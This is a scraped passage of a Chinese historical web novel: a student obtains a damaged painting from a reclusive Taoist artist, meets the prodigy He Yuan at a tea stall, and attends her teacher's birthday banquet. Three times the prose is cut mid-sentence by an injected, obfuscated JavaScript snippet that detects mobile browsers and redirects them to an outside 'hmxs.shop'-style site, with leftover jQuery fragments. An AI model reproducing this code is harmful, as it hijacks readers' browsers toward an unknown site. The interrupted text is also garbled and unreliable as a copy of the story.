荀敏道人见前方有人,也没有多言,只往旁边让了让,打算让对面的人先过,可对面的两人却没有如他所想的那般走过,而是停下了脚步,其中一位秀气些的少年还规规矩矩作了一揖,问道:“敢问阁下可是荀敏道人?” 荀敏道人微微皱眉:“你是何人?” 叶青言躬身又作了一揖,首先道了名姓,而后才表明来意:“晚生姓叶名青言,今日是特地来此向先生求画的。” “你来找我求画?”荀敏道人看了眼叶青言,又侧头看了眼旁边的林翊,“你们如何知晓我在此处?” 叶青言也不隐瞒,答道:“我们派人查了您的行踪。” 倒是直白,又见两人并未拿出黄白之物,荀敏道人稍感满意,挑了挑眉:“能查到我的行踪,想来你们也不是普通人,可这京城最不缺的就是贵人。” 荀敏道人此言不假,他当初之所以选择入观为道,就是为了躲避世人,可他避世的这几年也不是没有有权有势的人找上他索要画作,好在他荀敏也不是吃素的,背后也有那么几个靠山,故而对于叶青言的话,他并不放在心上。 叶青言闻言,便知对方是误会了,但她依旧不卑不亢,解释道:“先生误会了,晚生此言并无他意,此番前来单纯只是为了求画。” 荀敏道人上下打量了叶青言,只见她容颜稚嫩,眉眼端正,年纪虽小,言行举止却很是沉稳,浑身上下,透着与年岁并不相符的成熟与淡定,一时觉得有趣,道:“平素来向我求画的人不少,却鲜有人能带走寸墨,我瞧你倒是知礼,不凡说说,你缘何求画?” 叶青言如实回道:“晚生的夫子马上就要生辰,所以晚生此行是为了替夫子求画。” “竟又是一个想拿我的画去巴结别人的,真没意思。”荀敏道人一下就没了兴致,提起鱼篓便想离开,“要画没有,你们走吧。” 叶青言:“晚生所求,并非先生之画,而是先生收藏的《庐山会图》。” “你想要我的《庐山会图》?”荀敏道人停住脚步,出口的语调不由拔高,显是怒极。 叶青言颔首,娓娓说道:“夫子说过,《庐山会图》早年曾因战乱破损,之后一直没能修复,他得知此事后颇为惋惜,没怎么犹豫便苦修起画作修复一道,他不知自己未来能否得见真迹,只是抱持着这个希望一直努力。”说罢,叶青言又做了一揖,诚恳道,“晚生的老师是真心喜欢这幅画作,晚生知晓此求于先生是为难,您若肯割爱,晚生愿凭您差遣。” 一直没有说话的林翊闻言,微微皱起了眉峰,不过一幅画作,阿言何须如此放低身段? 荀敏道人面色稍缓,想了想,问她道:“若你夫子不能修复,反而毁了我的画,该当如何?”顿了顿,荀敏道人皱眉再道,“况且话都是你在说,你说了我就得信?万一你在骗我呢?” 荀敏道人越说脸越黑,越想越觉得自己有理,当即也不想在与叶青言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979335|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多说,抬步就往前方走去。 “先生昔年所作之画——《雪梅林》,气骨古雅,朵朵梅花神韵秀逸,老师却说此画的精髓不在梅花,亦不在白雪,而在画作下角那仓皇而过的麋鹿之上。”叶青言跟在荀敏道人身后说道,“家师姓谢,曾与先生一同参加过云阁画会,晚生之言皆非妄语,还望先生考虑。” 荀敏道人往前走的脚步再度停住,显然,叶青言这话说进了他心里:“你家先生倒是个懂画的。”沉吟片刻,荀敏道人叹道,“罢了,这画放我手中也是蒙尘,不如赠予你夫子,他若能修复此画令其重现世人眼前也是功德一件。” 叶青言惊喜:“多谢先生。” 荀敏道人摆了摆手,随即继续往前:“你等且随我去取画。” 待取到画作下山之时,日已高升。 夏日燥热的连树梢上鸣蝉声音都显得有气无力,两人一路下了山,但并未马上乘车离开。 林翊领着叶青言缓步走在京郊外的镜湖湖畔,此时还未到午间,头顶日头不算烈,湖边又一直有绿树荫身,走在其间,倒还可忍受。 “知道这湖为什么叫镜湖吗?”林翊侧头问叶青言。 “您考我啊?”叶青言眨眼。 林翊没有否认,微笑着道:“我记得昭明十年春闱的五言律诗题便是镜湖。” 叶青言也笑着道:“据史料记载,镜湖这名字应是源自前朝,此湖环绕京都,西入苍山,苍山一带的地势时有起伏,可经过苍山的这个湖泊却始终安静得如同一面镜子,故而得了镜湖这个名字。当然也有传闻说这个名字是因镜湖底住着镜子娘娘的缘故。” “后面这个说法出自民间野史,除了四书五经,你还看了很多杂书。” 叶青言点头:“无论圣人之书还是话本杂书,书都是好的。” …… 二人边走边说,很快就走过湖畔来到了官道,并顺着官道一路往京城的方向走去。 日头愈盛,就在林翊准备叫后面跟着的马车上前时,发现前方官道上有一条通向左手方向的小路。 林翊目力极好,一眼就看见小路的尽头有一座茶肆。 “那儿有间茶肆,我们过去喝杯茶在回城吧。”林翊说着,侧头看向叶青言。 只这一眼,便让他无法移开目光。 叶青言贯来不畏炎热,她的眉宇总是凝着一股似乎化不开的寒冷,此时却有汗珠从她额角的青丝里渗出,缓缓淌在她微红的双颊之上,阳光照耀在她的脸上,她美丽得仿佛琉璃一般。 林翊看着看着,突觉一股热流从鼻腔里涌出。 叶青言点头应好,之后迟迟没听到林翊再开口说话,不由转头看去,顿时大惊:“殿下,您怎么流鼻血了?” 林翊忙抬手捂住鼻子,眼神变得游移起来:“我没事,最近上火。” 叶青言从怀里掏出一方帕子递了过去。 林翊接过,举起,一股若有似无的馨香从帕子上传出,已经止住的鼻血顿时又涌了出来。 “……”林翊一时也顾不得其他,忙拿帕子捂住鼻子。过了好一会儿才将脸上的血迹清理干净。 “殿下,您没事吧?”叶青言关切问道。 “没事。”林翊瞧着又恢复了平常倜傥的模样,但到底还是有些尴尬的,“天太热了,所以上火,咱们赶快过去茶肆吧。” 叶青言见他面色并不难看,这才放下心来:“嗯,到时再叫壶凉茶。” 走不多时,两人便来到一座茶棚跟前。 这茶棚建就在枝叶茂盛的大榕树下,棚子由青竹搭成,透风又遮光,显得十分清幽。 林翊同叶青言一齐走进棚里,喊道:“店家,来两杯茶。” 回答他的是一片沉默,茶铺里并无多少茶客,只有最里的那张桌上坐着两名青年。 那两人听到林翊声音缓缓抬头看了过来,纷纷露出惊讶的表情。 叶青言也讶然地看着其中一人。 那个人她见过,虽仅一面,却让她印象深刻。 23. 嘉言公子 叶青言是极严谨务实的一个人,她很少会因为别人的相貌、着装等外在条件而对那人印象深刻。 但眼前人却是个特例。 因为对方实在生得太好。 肤色白皙,剑眉星目,五官精致得宛如最厉害的匠人所精心雕琢的完美艺术品般,无一丝瑕疵。 此人正是当日在陶园与叶青言打过照面的贺渊。 在他身边的另一人自然就是礼部尚书杜若之子杜景了。 叶青言很快便从惊讶中回神,礼貌地冲两人点了点头。 “认识?”林翊问。 叶青言颔首,轻声道:“马球比赛那日,曾在陶园有过一面之缘。” 林翊听罢,微眯了眯眼,能在马球比赛当日获邀进入陶园的人,不是出自官宦,就是朝中重臣之后。 林翊认真打量着前方的两个青年。 坐在左边位置的男子,着一身甘草黄的圆领斜襟长袍,这种老黄色是极挑人的一种颜色,却被这男子穿出一股洒脱磊落的意韵来,唇红齿白,笑容奕奕,显得格外灵动。 而坐右边的那名年轻男子……林翊视线缓移,顿觉眼前一亮。 黄衣男子已然生得十分俊秀,可这名青年的眉眼竟比黄衣男子还要秀丽三分,面如美玉,目若朗星,瞧着竟与阿言不相上下。 当真是好相貌! 京中的贵人,林翊大都打过照面,可眼前的两人,他从未见过。 沉吟片刻,林翊的目光缓缓又回到了黄衣男子的身上,根据底下人所收集的信息,倒有一人符合这样的形象。 就在此时,黄衣男子站了起来,端端正正地朝林翊作了一揖,道:“在下杜景,二公子有礼了。” 果然是杜尚书家的公子。 林翊微皱的眉眼渐渐松开,说道:“竟能在此处与杜公子偶遇,倒是巧了。” “我与好友是听说这附近有口山泉极为甘甜,才特地过来一尝的。”杜景恭敬说道,态度很是谦恭。 林翊见状,摆了摆手:“出门在外,杜公子不必拘谨。” 杜景不料对方竟这般随和,一怔之下,也不扭捏,笑道:“店家这会儿到后山去给我们取现水了,要等会儿才能回来,二位若不嫌弃,不如与我们同坐?” 叶青言看向林翊。 林翊颔首,两人先后落座。 贺渊抬手,给林、叶两人各斟了一杯清茶推过。 杜景顺势介绍道:“这位是在下的好友,贺渊。” 贺渊站起,对着林翊躬身一揖,又冲叶青言点了点头。 “贺渊?”林翊有一瞬惊讶。 叶青言听了这个名字也很诧异,她侧首同林翊互相对望一眼,而后纷纷将目光投向了贺渊。 林翊:“你就是贺渊?福建长乐的那个贺嘉言?” 贺渊迎着对面两人的目光,淡淡一笑,微扬的嘴角挑出月白风轻之感:“我就是贺渊,来自福建长乐的贺嘉言。” 一语落下,不远处的林中突地响起几声惊鸟扑扇翅膀的声音。 “竟能在这小小野店与传闻中的文坛天才相遇……今日这一趟还真是出来得对了。”林翊叹说,并抬手示意对方坐下。 “公子此言折煞我了。”贺渊落座,风扬起他的衣摆宽袖,带出一股说不出的倜傥俊逸。 林翊看着他,终是没能忍住心底的好奇,问道:“历时六年,你这是终于准备进京长住了?” 林翊话中所指乃是科考,贺渊听懂了,杜景和叶青言也听得分明。 叶青言神情微异,视线灼灼地看着贺渊。 便是杜景也掩不住眼底的好奇,他虽与贺渊交好,却从未开口问过这个问题,他是想问,但并不敢问。 多年之前,在他们还在江南书院学习之时,贺渊就曾告知过他,说官场污浊,比起入朝拜相,他更愿寄情山水,游历名山大川。 在过去的六年里,他也是这么做的,尽管老师和家中长辈一再写信催他进京赶考,他都不曾给过任何回应。 随着林翊语落,满堂悄寂。 风从湖畔方向吹来,拂着茶棚外的旧竹枝条啪啪作响。 棚子里的三人俱都望着贺渊,等待他的回答。 这真不怪几人好奇。 少年天才贺嘉言,自乡试中举后,便销声匿迹,此事在当时闹得很大,几乎大庆所有的读书人都有听说。 天下人都很好奇他何时才会下场科考,又或者说……他是否还会下场科考。 故而每次春闱,京城的各大赌坊都会就此事进行开盘。 来年春闱将至,关于此事的赔率也已产生,并随着参与人数的逐渐增多而不断发生变化。 天才,从来都是众人的话题中心,经久不衰。 贺渊闻言,也没有多卖关子,坦然说道:“公子猜得不错,在下确实有此打算。从长乐到京师,这一路,我整整走了六载,已然足够。” 叶青言被他淡淡语气中所透露出的坚定震撼,忽然就觉得自己久居京城,未看过外面的大好河山,便想直接参加科考的行为太过狭隘。 杜景难掩惊讶地看着贺渊,也顾得还有旁人,脱口而出道:“你不是不想入仕?” 叶青言也望向了贺渊,紧接着,是一段令她震惊而且毕生难忘的交谈。 “老师和父亲一直都希望我入仕,他们年岁大了,我不忍再辜负他们的栽培。”微顿了顿,贺渊将目光转向林翊,说道,“我这几年在外游历,亲眼见证了很多事情,有河清海晏之盛况,但更多是天灾人祸的惨状,我曾一度觉得官场是池浑水,一旦进入,要么同流合污,要么如景文学士那般与周遭格格不入,最后惨死狱中,对于官场我一直是不屑的,可这几年的见闻,让我明白自己不能因为污浊便不去趟这趟浑水,比起逃避,吾辈更当以身作则去治理污水,还世道、还冤死之人一个清白。” 景文学士李青松,乃庆朝当代文宗,却在先帝晚年缠绵病榻之时因得罪宫中权贵而蒙冤遭难,在一个寒冷的冬夜被酷吏拖出囚房,泼水冻死,李府家眷尽数被杀,满门无一幸免。 这事发生之时,贺渊不过十岁,彼时他刚刚研读了景文学士的文章,正是慷慨激昂之际,乍闻此噩耗,只觉心中信念崩塌。 而后今上登基,重开科举,他虽在父亲和老师的期待下参加了乡试,却始终无法战胜心魔进京会试。 直至如今。 贺渊看着茶棚外湛蓝的天幕,继续道:“站在河畔看风景一世,固然清妙自在,可若连鞋底都舍不得打湿,生而在世,有何自由,有何血性?” 此言一出,碧叶随风轻摆,在座几人的眼睛都变亮了一瞬。 茶棚里一片安静,不知是什么小动物从外头的篱笆处钻过,发出沙沙的声音。 良久,林翊开口问道:“阁下眼中的大庆官场,是什么模样?” “积弱百年,官官相护,彼此牵连,上至阁臣,下至小吏,无不如是,好在前有先帝拨乱反正,后有今上励精图治,但前几代帝王所造就的倾颓之势,非是一朝一夕便可扭转。”贺渊说得很平静,因为他已定下目标,所以平静。 林翊再问:“那阁下认为,朝廷应该如何才能彻底扭转当前颓势,还天下清明,长治久安?” “立法。”贺渊没有犹豫,直接说道,“成立一部专门用来督促朝臣的律法。” 林翊挑眉,视线不着痕迹地扫过旁边的叶青言,笑道:“曾经有人也跟我提过同样的建议。” 贺渊没有错过林翊的视线,不由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983557|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转眸看向了叶青言。 叶青言嘴角噙笑,手指轻轻摩挲着杯沿,说:“愿闻阁下高见。” 贺渊静静环视两人,似是沉思,又似权衡,半晌后,缓声说道:“前有百年积弱,后有重臣把持朝政,尤其高老去后,上头没人压着,不少朝臣都起了自己的私心。今上登基后,对朝堂进行了循序渐进地整顿,可朝中尸位素餐的冗员依然太多,治乱世需用重典,眼下虽非乱世,但前面近百年积累所造就得层层弊政实不容小觑,非大刀阔斧不足以打开局面,大庆虽有律法,可此法治民不治官,对朝廷官员的约束不大。当然,这并非本朝的弊端,纵观历朝历代,皆是如此。若能制定一部专门用来约束朝臣的律法,整顿姑息之弊,促进吏治整改,于国于民都是益事。” 贺渊的这一番言论,条理分明,遣词直白,几人听罢纷纷点头。 “先贤有言,民为重,社稷次之,君为轻,可自古以来,也只有每个王朝之始,才会秉承此点,轻徭薄赋,重视民生,随着时间过去,徭役一点一点加重,百姓手中的土地也变得越来越少,直至王朝之末,土地兼并,民不聊生。会造成这般后果,皆因上位之人起了私心,律法对于官员的约束本就几近于零,所以当他们不再秉持圣人之道时,受苦的便会是底下的百姓。” 在深入的后果的贺渊没有细说,但在座之人也都可以想象。 阳光洒落在身后道上,清风穿行棚间,屋外有鸟雀鸣叫着向天空飞去。 叶青言坐在那里,看着贺渊侃侃而谈,突然就对很多事情有了新的领悟。 林翊听罢,亦称赞道:“不愧是传闻中的不世天才,今日一见,果真名不虚传。” 贺渊摇头:“您谬赞了,所谓的不世天才,都是好几年前的声名了,如今的在下实不敢当,此番科考,若名落孙山,也不知世人会如何评价与我。” 贺渊这话说得幽默,几人听罢不由都笑了起来,可笑过之后,又忍不住觉得唏嘘。 贺渊幼年便被冠以神童之名,他八岁所写的诗句就被人收录进了送给先皇的诗集里,还得了先皇的大力赞赏,年方十二便中了举人,还是竞争最为激烈的科考大省——福建省的解元。 在当时,所有的人都称赞他,褒奖他,说他是千年难得一遇的天才。 可他却没有参加那一届的会试。 渐渐地,坊间开始有了不同的声音。 一次、两次,两届会试,黄榜之上皆无他名,民间也不再有他的文章出现。 那些当初捧他的人转头开始嘲笑他,说他是伤仲永,说他江郎才尽。 若他此番真无缘黄榜,所要承受的恶意,可想而知。 “闻君一席话,发人深省,引人深思,我看来年会试的三甲,必有阁下之名。”叶青言说道,她是真心这样想的,便也这么说了。 贺渊一怔,随后微笑:“那就承你吉言了。”说罢,他拿起茶杯,“今日有缘相聚,我便以茶代酒,也愿你能金榜题名。” 叶青言自是举杯回敬,她没有多言,也没有追问对方是如何看出自己也有意参加来年的春闱。 反而是林翊问出了这个问题。 贺渊笑道:“不过猜测,看来我是猜对了。” 贺渊当然不是胡乱地猜测,而是有线索地推测,但林翊并未深究。 几人之后又闲聊了别的一些方面。 期间店家归来,用山泉水重新给众人沏了一壶新茶。 茶汤浓酽,润人心脾,是一壶难得的好茶。 日头越升越高,被林翊打发去前头等候的护卫迟迟没见主人过来,便架着马车折返,很快就寻着两人的踪迹,来到了茶棚之外。 时间不早,加之午后还有他事,林翊便带着叶青言告辞离开。 24. 学宫寿宴 目送林、叶二人离开,杜景转首,定定望着贺渊。 清丽的阳光从头顶树梢的边缘漏下,落在贺渊的脸上,散射出淡淡的光线。 贺渊侧头:“为何这样看我?” 杜景没有回答,反问道:“你刚才为何要同二殿下说那些话?” “他们问,我便答,自然而然,这并不需要理由。”贺渊说得十分坦然。 杜景沉默了很长时间,然后说道:“以如今的朝堂局势,你的那些话,等同投诚,以你的聪慧,不会不懂。” 贺渊闻言,也沉默了会儿,道:“我既已决心趟官场这趟浑水,自然要为自己选好出路,而以我的立场,二殿下是最好的选择。” 贺渊属清流一派,走得也是清正之风。大殿下背靠高氏,若是登位,必然重用氏族力量,所以比起大殿下,二殿下确实是更好的选择。 杜景想了想,又问:“那你之后打算如何?” 贺渊一笑:“无论我想做什么,首要的都是先通过科考这一关。” 贺渊虽然笑着,气势却极是刚硬。 杜景听罢无言,还想再说什么,可看着贺渊的神情,又有些迟疑了,转而说道:“无论你如何选择,都别忘了你的身后还有好友我。” “谢啦,走,咱们回去喝茶。”贺渊拍了拍杜景的肩膀,向茶棚里走去。 杜景紧随跟上。 却说林翊和叶青言上了马车之后,林翊冷不防道:“这贺嘉言的好些观念倒是与阿言你的观点不谋而合。” 叶青言摇头,笑说:“我比之他,远不如矣。” 林翊却不赞成:“怎么就不如了?他说的那些治国方法,无论是立法,还是开放海禁,我们都曾提出探讨过,你莫要妄自菲薄。” 叶青言再次摇头:“倒也不是妄自菲薄,就是突然对来年的春闱没那么有信心了,都说读万卷书不如行万里路,像我这种自幼定居京城,不谙世事的公子哥,真得能比过那些来自全国各地的优秀考生们吗?” “你忘了自己的老师是谁了?”林翊看着叶青言,说,“无论谢夫子,还是荀夫子都是当世闻名的大儒,连他们都盛赞你的文章,你又如何还会输给别人?” “可科考并不只看文章作得如何。”叶青言的声音很平静,但也只是平静,并不如何失意。 林翊听得分明,不由微露笑意,是了,也只有阿言,才会有这样的认知与胸怀,才说得出这样的话。 “却也必须得看文章作的如何不是?”林翊笑着提醒。 马车并未走在官道,而是行在一条平坦的小路上,道路两旁树木成荫,遮着阳光,显得非常清幽,四周很是安静,静得能听到车轮碾压路面的摩擦声。 “不曾亲眼见过沧海,只是听人提及,如何能懂什么是壮阔?不曾摘下星辰,又如何懂得什么是浩瀚?与见过这些景象的其他考生相比,我终究只是不懂冰雪为何物的夏虫罢了。”叶青言看着车外飞鸟绕树飞的景象,淡淡启口道,“纸上谈兵终究只是捷径,而非正道。” 林翊摇头:“哪来那么多似是而非的道理,两点之间直线最短,最正的正道,本身就是最快捷的捷径。” 正道便是捷径?叶青言听罢微怔,发现自己一时竟想不到言语反驳:“……” 林翊看着叶青言脸上的神情,循循善诱:“你就是想得太多,这对即将到来的秋闱不好,你该静心的。” 叶青言沉吟了片刻,觉得自己并不这样认为,遂道:“我既心有所想,便该设法明了,回避,并不是一个好的方法。” 林翊认为叶青言考虑这些是很多余的事情。 可叶青言却不这样认为,她觉得有疑便该及时地去解决。 这不是语锋相对,而是他们对事物的看法不同。 林翊说道:“也不急在此时,坊间有句俗话,叫心急吃不了热豆腐,心态是最重要的事情,你越是急着弄明白就越容易出问题。” 叶青言沉默着,没有说话,她虽有自己的见解,却也不得不承认此言有理。 林翊见状又道:“我相信你,你却不信你自己,乡试已在眼前,不如先将此事放置,我们且看结果便知。” 叶青言失笑:“殿下,乡试与会试并不相同。” 林翊挑眉:“所以你也认为自己必能通过乡试。” 分明是一个需要确认的问题,林翊却以肯定的语气讲出。 这点叶青言倒是没有否认,以她现在的水平,不说名列前茅,中举还是绰绰有余的。 但对之后的会试,叶青言却有了另外的想法。 气氛突然变得安静下来。 但并不显得沉闷。 没有谁规定,两个人坐在一起,就一定要开口交谈。 事实上,林翊和叶青言经常这样静静对坐,或专心看书,或清心品茗。 此时,他们的面前就有一壶茶,两只杯。 茶壶里装的是现取的山泉水所浸泡的白毫银针,是叶青言上马车后泡上的,这会儿饮用最是时宜。 林翊提壶斟茶,一股隐隐淡淡的茶香立时漫了开来。 皇子亲自给伴读斟茶,这本是极罕见的一幕,可林翊做的自然,叶青言也受的坦然,仿佛他们已这样做了无数次。 饮着清茶,听着车外不时传进的昆虫鸣叫,叶青言的心境渐渐安宁,甚至开始沉醉其中。 林翊见状微勾了勾唇,他本就是看阿言最近因为学习的缘故,神经有些紧绷,所以才想着带人出来走走,顺便取画,弦一味绷紧并不是好事,偶尔还是得舒缓舒缓。 马车沿着幽静的道路,缓缓朝着皇城方向驶着。 不知过了多久,车里的两人又轻声讲起了其他事情,都是些零碎的琐事…… 两人就这般,时而交谈,时而品茗,车厢里的气氛很是和洽。 不知又过了多长时间,叶青言突然放下手中的茶杯问道:“殿下,您将《庐山会图》让给了我,那您明日打算送夫子何物做寿礼?” 林翊闻言也放下了茶杯,说道:“首先,这画是你亲自从荀敏道人处求来的,并不存在我让你这一说。其次,我又不是谢老头的得意弟子,随便送点什么都成,反正也换不来他的好脸。”说罢,林翊还无所谓地耸了耸肩。 叶青言想了想,道:“我之前听您意见订制的那枚玉章已经完成了,您不如以此玉章做寿礼?” 林翊挑眉,他倒是将这事儿忘了。 “也成。”林翊点头。 叶青言:“那我明日去学堂时将玉章带上给您。” 似是想到了什么,叶青言突然抿唇笑了起来:“这画是您寻来的线索,最后由我亲自去求。那玉章,也是您的想法,之后也是我安排去做,如此一看,咱们送给夫子的两份寿礼里面,都包含了咱们两人的心意。” 林翊一怔,细想叶青言话中之言,感受着她话语里的亲密,心跳蓦地一鼓。 我中有你,你中有我,他与阿言不分彼此,就好似……夫妻一般…… 林翊极力掩住想要上扬的嘴角,脸上却不自觉地浮起半抹红晕。 “好,我等你给我带,到时我们一起送给夫子。” 时间一晃便到了谢夫子生辰这日。 是夜。 天凉如水,空气却依旧燥热,今晚的南苑学宫灯火通明。 除了如今还在学宫里学习的众人和谢夫子曾经教导过的学生,其他一些与学宫有职能往来的官员们也想尽办法地派遣家中小辈前来贺寿。 此次寿宴虽比不得宫中所办的其他宴会,却也十分重要。一来是宴会乃陛下金口吩咐举办,二来是今晚赴宴的众人无不身份尊贵。 要想在官场行走,人脉必不可少,自家小辈若能在宴会上与贵人相交,也不失为一条人脉。 一张大网下去,谁能料得会有几条大鱼落网? 即便没有鱼儿入网,能让小辈去见见世面也是好的。 当然,少年们赤诚磊落,进宫前虽得了家中长辈的叮嘱,可他们毕竟没有长辈那么重的心眼子和厚脸皮,所以做的并不过分。 谢夫子今晚很高兴,人也不像往日那般严肃,脸上一直挂着乐呵呵的笑容。 大皇子林竫也来了,场上不少官宦子弟见了他,纷纷上前见礼,与其攀谈结交。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987364|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林翊闲闲扫过,将那几张脸记在心里。 宴会开始,林竫领着其他三位皇子站在正前方,带着众人一起向谢夫子行了师礼。 谢夫子含笑受礼,末了起身,作揖,还了四位皇子标准的半臣之礼,无论是手臂抬起的高度,还是袖口与手腕的距离,都是那样的完美。 众人落座,一时觥筹交错,好不融洽,没有人会在这样喜庆的日子里闹龃龉,林翊和林竫也不例外。 宴席过半,便到了收礼物的环节。 因着今日前来的都是小辈,在小辈们的起哄声下,谢夫子也没那么讲究了,每接到一件礼物,便拆开同大家一起分享。 不管是收到了玉珏、砚台,还是好酒、好茶之流,谢夫子都笑呵呵地表示自己很喜欢。 直到叶青言送上一幅画卷。 谢夫子徐徐展开,才看了一半,就难掩激动地从位置上站起:“这,这是……《庐山会图》!” 叶青言颔首:“是的,先生。” 谢夫子忍着激动展开全图,果然看到了大气磅礴的苍松倚山图,左下角那明显的损毁痕迹昭示着这确是真迹无疑。谢夫子当下便忍不住了,将所有人都叫过来同他一起欣赏画卷,口中滔滔不绝地说起了顾恺之的笔法画技,以及那一道痕迹何来。 末了,他将画卷交到旁边伺候的侍童手中,让对方先将画拿回书房收好,以便他之后修复。 学生们送礼完毕,夫子自然也有回礼。 因着人数不少,所以他给每个人的回礼都差不多,大多是笔墨纸砚之流,便是叶青言也是同样,只有几位皇子除外。 叶青言得了一方砚台,沈昭得了一支笔,林翊则是一幅谢夫子亲手所写的字。 “这谢老头,也太不通人情了!小爷我送他上好的玉石,他却还我一支与其他人一样的毛笔!那些个俗物哪里能和我精心挑选的玉石相比!”沈昭转着刚得到的毛笔忿忿不平道。 林翊看着他提醒:“今日过生辰的人是夫子,不是你。” 沈昭瘪了瘪嘴:“你就向着他吧,说来你比我更惨,精心找来了名画,最后却只得了一方砚台。” “师长回礼,看得是心意,而非礼品的价值,淮之你这想法……” “等等!”沈昭猛地开口打断叶青言,瞪着双眼盯着他,一脸自己被辜负了的模样,“你是何时寻得的画作?我怎么不知?还有,咱们一起去选的玉章怎么成了二表哥的贺礼?老实交代,你们都背着我做了什么!” 叶青言相当无奈地看着沈昭,并将前因后果尽数告知。 沈昭听完更生气了:“太过分了,你们去取画怎么不带我,说好的咱三人是一起的呢?” 叶青言:“殿下那天寅时就出宫了。” 一句话,便将沈昭所有的抱怨都堵了回去。 “……那么早,有这个必要吗?”沈昭喃喃,再说话时的气势明显没刚刚那么足了。 “当然有必要,白日天热,早些出门才好避过烈日。”林翊不知何时摆脱了寒暄的众人,走了过来,抢在叶青言前面接道。 沈昭彻底不说话了,让他早起,不如杀了他算了。 林翊和叶青言对视一眼,眼中纷纷露出笑来。 叶青言给林翊倒了杯自己面前茶壶里的炒麦茶,这茶是她特意托付相熟的侍童煮的,夜晚饮杯麦茶,非但不伤神,还有益脾胃。 寿宴慢慢进行到了谢夫子指点众人文章的环节。 这里指点与课上的指点不同,夫子不会一一指教,只随缘,随性地挑选几人讲讲。 林翊等三人,唯有沈昭非常有幸的得了谢夫子的评价。 谢夫子对沈昭的评价是此子太懒,白费了其一番读书天赋。 谢夫子说时很是痛心疾首,饶是沈昭再如何吊儿郎当,当下也无法再继续保持神情不变。 他尴尬地下了头,嘴里碎碎念着,看不到我看不到我看不到我。 叶青言见状忍不住笑了起来,她笑得很开怀,两只眼睛微微眯起,平时藏着的稚气一下就显现了出来。 林翊看了心跳猛地加快,阿言还真是……太犯规了。 25. 有意离京 明日并非旬假日,为了不耽误众人早起上学,谢夫子的生日宴会只进行到亥初便宣告结束。 辞别了师长,众人三三两两,鱼贯而出。 叶青言一如往常得与林翊、沈昭两人走在一起。 夜色深沉,繁星满天。 林翊看了看天色,道:“时间不早,此时出宫的人多,你们今晚不如随我一起去庆宁宫休息。” 林翊这话是对叶青言和沈昭两个人说的,但他的目光却只落在叶青言的身上,他看着似乎有些雀跃,有星光跃进他的眼底。 沈昭自是没有意见,作为皇帝的亲外甥,沈昭时常留宿宫中。 叶青言闻言有一瞬的僵硬,但她很快放松下来,摇头道:“多谢殿下,但这与礼不合。” 林翊显然不以为意:“你是我的伴读,偶尔留宿一晚也无甚大碍,只需向母后报备了即可。” “就是。”沈昭也道,边说还边抬手去勾叶青言的脖子,将她整个按到自己的胸膛,“阿言你今晚就一起留下,咱们三人同榻,彻夜长谈,抵足而眠!” 叶青言嘴角微抽,脸上浮现隐隐的赧意,但夜色将她的赧然隐藏得很好。 同榻是不可能同榻的,抵足而眠就更加不可能了。 叶青言抬手想要推开沈昭,可没等她有动作,林翊就先行拉开了沈昭,将叶青言护到自己身边,并出言训斥沈昭道:“你说话就说话,勾肩搭背的成何体统。” 沈昭:“……?” 他刚听到了什么?沈昭沉默,不解,两只眼睛直勾勾地盯着林翊正紧紧箍在叶青言肩膀的两只手上。 成何体统? 林翊显然也注意到了沈昭的目光,他尴尬地咳了一声,淡定自若地收回双手,说道:“阿言还小,你不要总压着她,会长不高的。” 竟是因为这个原因……可他怎么这么不信呢!沈昭眯眼打量着林翊,二表哥最近很有些古怪,一定有什么状况!嗯!且容他再观察观察。 “殿下。”叶青言出声,打断了面前两人的眉眼官司,“我还是决定回府,眼下时辰还不算晚,入宫前我也没同母亲说过,若宿在宫里,来去知会也是麻烦。” 林翊想了想,眼角余光瞥见旁边的沈昭。 阿言若是留下,就得三人同榻而眠,淮之的睡相一贯不好…… 林翊的脑海蓦地浮现沈昭睡着之后将自己整个挂在叶青言身上的画面…… 这绝对不行! 林翊当即点头:“那你路上小心。” 见对方没有坚持,叶青言很是松了口气,正想作揖告辞,便在这时,一名侍童手捧卷画走来,他先朝着林翊三人行礼,随后对叶青言道:“这是谢夫子吩咐交给公子的。” 叶青言诧异,抬手接过画卷。 那侍童躬身退下。 叶青言缓缓将画卷展开,上面画的也是苍松倚山的景象。 但无论画像的松,还是山,都充满了生机和朝气。 林翊和沈昭也凑上来一起看画。 沈昭啧啧称奇:“我刚还说谢老头不懂人情世故,不想他精的很,竟知道私下送画。” 叶青言下意识看向林翊,见对方也正含笑看着自己,当下心安。她将画卷收起,作揖道:“那我便先回了,明天见。” “明天见。”林翊轻声回应,短短的三个字,却让他生出了无限温暖。 是的,不是欢喜,而是温暖。 